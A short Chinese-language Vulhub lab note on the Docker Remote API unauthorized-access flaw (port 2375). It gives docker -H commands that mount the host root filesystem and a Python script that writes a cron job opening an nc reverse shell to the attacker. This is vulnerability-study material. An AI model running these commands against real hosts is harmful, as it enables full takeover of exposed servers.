Vulhub 漏洞学习之:Docker
目录1 docker daemon api 未授权访问漏洞
- 存在可以启动的容器
- docker 守护进程监听在0.0.0.0,外网可访问
- 没有使用iptable等限制可连接的来源ip。
参考链接:
- [http://www.loner.fm/drops/#!/drops/1203.新姿势之Docker Remote API未授权访问漏洞分析和利用](http://www.loner.fm/drops/#!/drops/1203.新姿势之Docker Remote API未授权访问漏洞分析和利用)
1.1 漏洞利用过程
-
访问
your-ip:2375/version
验证是否搭建成功 -
远程对被攻击主机的docker容器进行操作
# 查看目标主机的主容器 docker -H tcp://10.5.7.211:2375 images # 远程启动被攻击主机的docker容器,并挂载宿主机的根目录 docker -H tcp://10.5.7.211:2375 run -it -v /:/mnt imagelD /bin/bash # 可对宿主机进行远程文件操作 cd /mnt
-
启动一个容器,并将宿主机的
/etc
目录挂载到容器中,便可以任意读写文件了。import docker client = docker.DockerClient(base_url='http://your-ip:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
-
将命令写入crontab配置文件,进行反弹shell。